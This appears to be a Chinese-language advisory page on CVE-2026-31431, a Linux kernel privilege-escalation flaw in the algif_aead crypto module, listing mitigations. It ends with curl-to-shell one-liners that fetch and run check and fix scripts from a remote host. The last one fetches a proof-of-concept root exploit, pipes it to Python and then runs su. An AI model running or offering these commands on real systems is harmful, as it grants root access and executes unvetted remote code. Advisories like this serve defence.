# CVE-2026-31431

## 为什么很严重

- CVE-2026-31431 是一个 Linux 内核里的本地提权漏洞，本来只是一个普通低权限用户（甚至容器里的普通用户），利用这个漏洞后，可能直接变成宿主机的 root。

- 这个漏洞从2017年开始就存在了，几乎所有主流 Linux 发行版都受影响。漏洞出在 Linux 内核里的AF_ALG加密接口，具体是其中的algif_aead模块。这个模块的作用是让普通用户程序可以通过socket去调用内核里的加密功能，比如AES、GCM这些算法，本来是为了提高性能和方便使用，但是这个优化带来了这个非常致命的漏洞。

## 解决方法

### 方法一：升级内核
- 升级到官方修复版本，以及各大发行版回补的安全版本。

### 方法二：禁用algif_aead模块

- 禁止加载algif_aead

<CodePreview
  title="disable_algif_aead"
  language="bash"
  code={`sudo sh -c 'echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf'`}
/>

- 把当前已经加载进内核的模块卸载掉

<CodePreview title="remove_loaded_algif_aead" language="bash" code={"sudo rmmod algif_aead 2"} />

## 相关脚本

- 检查

<CodePreview title="check" language="bash" code={"curl https://ft-tutorial-center.21st-ai.com/sre/cve/CVE-2026-31431/check | python3.10"} />

- 修复（执行完毕后建议再次执行上面的命令重新检查一次）

<CodePreview title="fix" language="bash" code={"curl https://ft-tutorial-center.21st-ai.com/sre/cve/CVE-2026-31431/fix | bash"} />

- POC（恶意代码，仅限于自己测试验证！！！）

<CodePreview title="poc" language="bash" code={"curl https://ft-tutorial-center.21st-ai.com/sre/cve/CVE-2026-31431/exploit | python3.10 && su"} />

